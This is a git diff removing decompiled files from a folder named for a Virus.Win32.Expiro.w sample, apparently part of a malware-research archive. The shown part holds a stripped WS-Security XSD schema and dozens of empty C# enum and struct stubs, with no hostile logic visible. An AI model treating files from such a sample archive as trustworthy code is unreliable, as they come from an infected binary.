- - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/oasis-200401-wss-wssecurity-utility-1/0.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/oasis-200401-wss-wssecurity-utility-1/0.xsd deleted file mode 100644 index f8d74e9c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/oasis-200401-wss-wssecurity-utility-1/0.xsd +++ /dev/null @@ -1,108 +0,0 @@ - - - - - - - -This type defines the fault code value for Timestamp message expiration. - - - - - - - - - - -This global attribute supports annotating arbitrary elements with an ID. - - - - - - -Convenience attribute group used to simplify this schema. - - - - - - - - - -This type is for elements whose [children] is a psuedo-dateTime and can have arbitrary attributes. - - - - - - - - - - - -This type is for elements whose [children] is an anyURI and can have arbitrary attributes. - - - - - - - - - - - - -This complex type ties together the timestamp related elements into a composite type. - - - - - - - - - - - - - - -This element allows Timestamps to be applied anywhere element wildcards are present, -including as a SOAP header. - - - - - - - -This element allows an expiration time to be applied anywhere element wildcards are present. - - - - - - -This element allows a creation time to be applied anywhere element wildcards are present. - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagACTCTXW.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagACTCTXW.cs deleted file mode 100644 index be870133..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagACTCTXW.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagACTCTXW -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 32)] -internal struct tagACTCTXW -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagACTIVATEFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagACTIVATEFLAGS.cs deleted file mode 100644 index 82d4d9b7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagACTIVATEFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagACTIVATEFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagACTIVATEFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagADVF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagADVF.cs deleted file mode 100644 index f6606ad5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagADVF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagADVF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagADVF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagApplicationType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagApplicationType.cs deleted file mode 100644 index 263bdd0c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagApplicationType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagApplicationType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagApplicationType -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagAspectInfoFlag.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagAspectInfoFlag.cs deleted file mode 100644 index 278b7b40..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagAspectInfoFlag.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagAspectInfoFlag -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagAspectInfoFlag -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBANDSITECID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBANDSITECID.cs deleted file mode 100644 index e264c712..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBANDSITECID.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagBANDSITECID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagBANDSITECID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBINDSPEED.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBINDSPEED.cs deleted file mode 100644 index 310747a2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBINDSPEED.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagBINDSPEED -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagBINDSPEED -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBINDSTATUS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBINDSTATUS.cs deleted file mode 100644 index baf8760f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBINDSTATUS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagBINDSTATUS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagBINDSTATUS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBINDSTRING.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBINDSTRING.cs deleted file mode 100644 index efc881ee..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBINDSTRING.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagBINDSTRING -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagBINDSTRING -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBIND_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBIND_FLAGS.cs deleted file mode 100644 index 01d56caf..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBIND_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagBIND_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagBIND_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBROWSERFRAMEOPTIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBROWSERFRAMEOPTIONS.cs deleted file mode 100644 index b6fac2e7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBROWSERFRAMEOPTIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagBROWSERFRAMEOPTIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagBROWSERFRAMEOPTIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCALLCONV.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCALLCONV.cs deleted file mode 100644 index cf632173..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCALLCONV.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCALLCONV -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagCALLCONV -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCALLTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCALLTYPE.cs deleted file mode 100644 index 7956a341..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCALLTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCALLTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagCALLTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCATEGORYINFO_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCATEGORYINFO_FLAGS.cs deleted file mode 100644 index c8660a7d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCATEGORYINFO_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCATEGORYINFO_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagCATEGORYINFO_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCATSORT_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCATSORT_FLAGS.cs deleted file mode 100644 index 2051544a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCATSORT_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCATSORT_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagCATSORT_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCDBURNINGEXTENSIONACTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCDBURNINGEXTENSIONACTION.cs deleted file mode 100644 index 882dfc6d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCDBURNINGEXTENSIONACTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCDBURNINGEXTENSIONACTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagCDBURNINGEXTENSIONACTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCDBURNINGEXTENSIONRET.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCDBURNINGEXTENSIONRET.cs deleted file mode 100644 index e77c7010..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCDBURNINGEXTENSIONRET.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCDBURNINGEXTENSIONRET -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagCDBURNINGEXTENSIONRET -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCHANGEKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCHANGEKIND.cs deleted file mode 100644 index d346f424..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCHANGEKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCHANGEKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagCHANGEKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCLSCTX.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCLSCTX.cs deleted file mode 100644 index d223f1f6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCLSCTX.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCLSCTX -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagCLSCTX -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCOINIT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCOINIT.cs deleted file mode 100644 index 682ac92f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCOINIT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCOINIT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagCOINIT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCOMSD.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCOMSD.cs deleted file mode 100644 index 5f86a4d1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCOMSD.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCOMSD -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagCOMSD -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCONDITION_OPERATION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCONDITION_OPERATION.cs deleted file mode 100644 index 75e69da7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCONDITION_OPERATION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCONDITION_OPERATION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagCONDITION_OPERATION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCONDITION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCONDITION_TYPE.cs deleted file mode 100644 index 154a2146..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCONDITION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCONDITION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagCONDITION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCOWAIT_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCOWAIT_FLAGS.cs deleted file mode 100644 index 0acf6a04..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCOWAIT_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 